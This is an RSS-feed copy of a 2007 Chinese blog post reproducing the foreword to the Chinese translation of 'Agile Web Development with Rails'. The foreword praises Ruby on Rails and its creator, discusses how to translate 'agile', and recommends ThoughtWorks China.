<p class=Agile style="MARGIN: 4pt 0cm 4pt 1cm; LINE-HEIGHT: 15pt"><font size=2><span style="FONT-FAMILY: 宋体; LETTER-SPACING: -0.1pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">捧在你手上的这本书算得上一个奇迹：仅仅一年前当我向出版社推荐它时，编辑们还担心这样一本关于&#8220;冷门主题&#8221;的著作是否能够在国内受到关注，甚至是否值得去引进翻译它；而当芷薰刚刚完成这个第一版的翻译，编辑们已经迫不及待地把尚未正式出版的第二版塞到了他的手上。当然，你知道，这都是因为</span><span lang=EN-US style="LETTER-SPACING: -0.1pt"><font face="Times New Roman">Rails</font></span><span style="FONT-FAMILY: 宋体; LETTER-SPACING: -0.1pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">。</span><span lang=EN-US style="LETTER-SPACING: -0.1pt"><o:p></o:p></span></font></p>
<p class=Agile style="MARGIN: 4pt 0cm 4pt 1cm; LINE-HEIGHT: 15pt"><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">在过去的一年中，</span><span lang=EN-US><font face="Times New Roman">Rails</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">创造了太多让人瞠目结舌的奇迹。这个新鲜的框架在短短时间内极速窜红，不仅大有在</span><span lang=EN-US><font face="Times New Roman">web</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">开发领域一举超越</span><span lang=EN-US><font face="Times New Roman">PHP/Perl/Python</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">等&#8220;老前辈&#8221;之势，甚至还震动了</span><span lang=EN-US><font face="Times New Roman">Java</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的世界，让众多有着多年</span><span lang=EN-US><font face="Times New Roman">J2EE</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">开发经验的架构师相见恨晚，连</span><span lang=EN-US><font face="Times New Roman">.NET</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">社群也未能在这场风暴中幸免。老话说&#8220;模仿是最真诚的恭维&#8221;，那么看看</span><span lang=EN-US><font face="Times New Roman">Groovy on GRails</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">、</span><span lang=EN-US><font face="Times New Roman">SQL on Rails</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">、</span><span lang=EN-US><font face="Times New Roman">Lisp on Line</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">、</span><span lang=EN-US><font face="Times New Roman">Trails</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">、</span><span lang=EN-US><font face="Times New Roman">MonoRails</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">这些连名字都萧规曹随的框架如同雨后春笋般层出不穷，开发者社群对</span><span lang=EN-US><font face="Times New Roman">Rails</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的认可早已溢于言表了。</span></font></p>
<p class=Agile style="MARGIN: 4pt 0cm 4pt 1cm; LINE-HEIGHT: 15pt"><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">作为</span><span lang=EN-US><font face="Times New Roman">Rails</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的作者，</span><span lang=EN-US><font face="Times New Roman">David Heinemeier Hansson</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">也随着他的作品一道，迅速步入了顶尖程序员的行列。这个生于</span><span lang=EN-US><font face="Times New Roman">1979</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">年的丹麦小伙于</span><span lang=EN-US><font face="Times New Roman">2005</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">年</span><span lang=EN-US><font face="Times New Roman">8</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">月在</span><span lang=EN-US><font face="Times New Roman">Google</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">和</span><span lang=EN-US><font face="Times New Roman">O&#8217;Reilly</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">共同举办的&#8220;全球开源大会&#8221;（</span><span lang=EN-US><font face="Times New Roman">OSCON</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">）上被评为&#8220;年度最佳黑客&#8221;；《连线》杂志把他的大照片放上了封面，标题是&#8220;地球上最炙手可热的黑客&#8221;。</span><span lang=EN-US><font face="Times New Roman">Rails</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">于</span><span lang=EN-US><font face="Times New Roman">2006</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">年</span><span lang=EN-US><font face="Times New Roman">3</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">月获得了</span><span lang=EN-US><font face="Times New Roman">Jolt</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">大奖&#8220;最佳</span><span lang=EN-US><font face="Times New Roman">web</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">开发工具&#8221;奖项，第一本关于</span><span lang=EN-US><font face="Times New Roman">Rails</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的著作——也就是你手上的这本书——同时获得了</span><span lang=EN-US><font face="Times New Roman">Jolt</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">大奖&#8220;最佳技术类图书&#8221;奖项。如果把刚刚过去的一年称为&#8220;</span><span lang=EN-US><font face="Times New Roman">Rails</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">年&#8221;，我相信并不为过，而且这股热潮还在不断蔓延升温。</span></font></p>
<p class=Agile style="MARGIN: 4pt 0cm 4pt 1cm; LINE-HEIGHT: 15pt"><font size=2><span lang=EN-US><font face="Times New Roman">Rails</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">究竟有什么神奇之处，让一干人等为它心醉神迷？最直观的原因是，它封装了很多关于</span><span lang=EN-US><font face="Times New Roman">web</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">开发的知识——</span><span lang=EN-US><font face="Times New Roman">Struts</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">也允许你实现各种各样的功能，但那只是&#8220;能力&#8221;，却不是&#8220;知识&#8221;。你可以有</span><span lang=EN-US><font face="Times New Roman">100</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">种方式来组织你的</span><span lang=EN-US><font face="Times New Roman">web</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">应用，</span><span lang=EN-US><font face="Times New Roman">Rails</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">则把一种最合用的方式直接放到你的手上。在用</span><span lang=EN-US><font face="Times New Roman">Rails</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">开发</span><span lang=EN-US><font face="Times New Roman">web</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">应用时，你会感觉事事都那么贴心、处处都那么顺手，仿佛每个问题都已经有一个解决方案就在手边。这就是&#8220;知识&#8221;，</span><span lang=EN-US><font face="Times New Roman">Rails</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的开发者们已经把他们开发</span><span lang=EN-US><font face="Times New Roman">web</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">应用的经验融入到了这个框架之中。</span></font></p>
<p class=Agile style="MARGIN: 4pt 0cm 4pt 1cm; LINE-HEIGHT: 15pt"><font size=2><span style="FONT-FAMILY: 宋体; LETTER-SPACING: -0.2pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">另一方面——在我看来是更加重要的——原因就在本书的标题中：</span><span lang=EN-US style="LETTER-SPACING: -0.2pt"><font face="Times New Roman">agile</font></span><span style="FONT-FAMILY: 宋体; LETTER-SPACING: -0.2pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">。平心而论，我并不完全赞同芷薰对本书标题的翻译，因为</span><span lang=EN-US style="LETTER-SPACING: -0.2pt"><font face="Times New Roman">agile</font></span><span style="FONT-FAMILY: 宋体; LETTER-SPACING: -0.2pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">实在是&#8220;敏捷&#8221;而非&#8220;快速&#8221;。&#8220;快速&#8221;仅仅是指速度而言；&#8220;敏捷&#8221;则不仅意味着开发速度快，而且还意味着应用程序具有能够随时应对变化的灵活性、让修改既有代码与添加新功能易如反掌的优雅性、以及在快速迭代中反复折腾也不会散架的高质量。现代企业（尤其是从事互联网业务的企业）随时面对着全球化经济的机遇与挑战，飞速变化的商业环境和业务使他们对</span><span lang=EN-US style="LETTER-SPACING: -0.2pt"><font face="Times New Roman">IT</font></span><span style="FONT-FAMILY: 宋体; LETTER-SPACING: -0.2pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">提出了更高的要求：他们不仅要快速，更要求敏捷。</span><span lang=EN-US style="LETTER-SPACING: -0.2pt"><o:p></o:p></span></font></p>
<p class=Agile style="MARGIN: 4pt 0cm 4pt 1cm; LINE-HEIGHT: 15pt"><font size=2><span lang=EN-US><font face="Times New Roman">Rails</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">正是一个具备了敏捷特性的</span><span lang=EN-US><font face="Times New Roman">web</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">开发框架。除了框架本身的设计之外，它也得益于</span><span lang=EN-US><font face="Times New Roman">Ruby</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">语言本身：这种语言比之</span><span lang=EN-US><font face="Times New Roman">Java/C#</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">等语言更具动态性，它的语法能够随着不同的应用场景而进化演变，这就使得开发者能够在</span><span lang=EN-US><font face="Times New Roman">Ruby</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">基础上创造出形形色色的</span><span lang=EN-US><font face="Times New Roman">DSL</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">——简单地说，也就是让</span><span lang=EN-US><font face="Times New Roman">Ruby</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">程序看起来更像是在描述问题领域，而不是&#8220;编写计算机程序&#8221;。实际上，</span><span lang=EN-US><font face="Times New Roman">Rails</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">框架本身就是针对</span><span lang=EN-US><font face="Times New Roman">web</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">应用的</span><span lang=EN-US><font face="Times New Roman">DSL</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，其中的</span><span lang=EN-US><font face="Times New Roman">ActiveRecord</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">则是针对数据库的</span><span lang=EN-US><font face="Times New Roman">DSL</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">。此外，</span><span lang=EN-US><font face="Times New Roman">Rails</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">还内建了对于测试驱动、自动构建等敏捷实践的支持。语言、框架、开发过程的三位一体，让</span><span lang=EN-US><font face="Times New Roman">Rails</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">具备了敏捷</span><span lang=EN-US><font face="Times New Roman">web</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">开发的全部要素。在阅读本书的过程中，读者就可以亲身感受到这种敏捷的体验。</span></font></p>
<p class=Agile style="MARGIN: 4pt 0cm 4pt 1cm; LINE-HEIGHT: 15pt"><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">作为新技术最热心的尝试者与敏捷方法最忠实的推行者，</span><span lang=EN-US><font face="Times New Roman">ThoughtWorks</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">已经在</span><span lang=EN-US><font face="Times New Roman">Ruby/Rails</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">方面积累了相当丰富的经验，并且已经用</span><span lang=EN-US><font face="Times New Roman">Rails</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">进行了好几个真实项目的开发。从芷薰开始翻译本书起，</span><span lang=EN-US><font face="Times New Roman">ThoughtWorks</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">中国公司就与他建立了紧密的联系，并全程承担了对译本的审阅工作。如果你在阅读本书之后需要更多关于</span><span lang=EN-US><font face="Times New Roman">Ruby</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">、关于</span><span lang=EN-US><font face="Times New Roman">Rails</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">、关于敏捷方法的知识，也许</span><span lang=EN-US><font face="Times New Roman">ThoughtWorks</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">可以给你提供必要的帮助。更多关于</span><span lang=EN-US><font face="Times New Roman">ThoughtWorks</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的信息，请关注</span><span lang=EN-US><font face="Times New Roman">ThoughtWorks</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">中文网站：</span><span lang=EN-US style="COLOR: windowtext; FONT-FAMILY: 'Arial Narrow'"><a href="http://www.thoughtworks.com.cn/"><span style="COLOR: windowtext"><u>www.ThoughtWorks.com.cn</u></span></a></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">。</span></font></p>
<p class=Agile style="MARGIN: 4pt 0cm 4pt 1cm; LINE-HEIGHT: 15pt"><font size=2><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">我想，亲爱的读者现在大概已经迫不及待地要翻开手上的书一探究竟了。那么，就请你不要犹豫，立刻随着</span><span lang=EN-US><font face="Times New Roman">David Heinemeier Hansson</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">和芷薰一起进入</span><span lang=EN-US><font face="Times New Roman">Rails</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的世界吧。最后，祝你阅读愉快、编程愉快。</span></font></p>
<img src ="http://www.blogjava.net/junky/aggbug/126701.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-06-28 09:02 <a href="http://www.blogjava.net/junky/archive/2007/06/28/126701.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>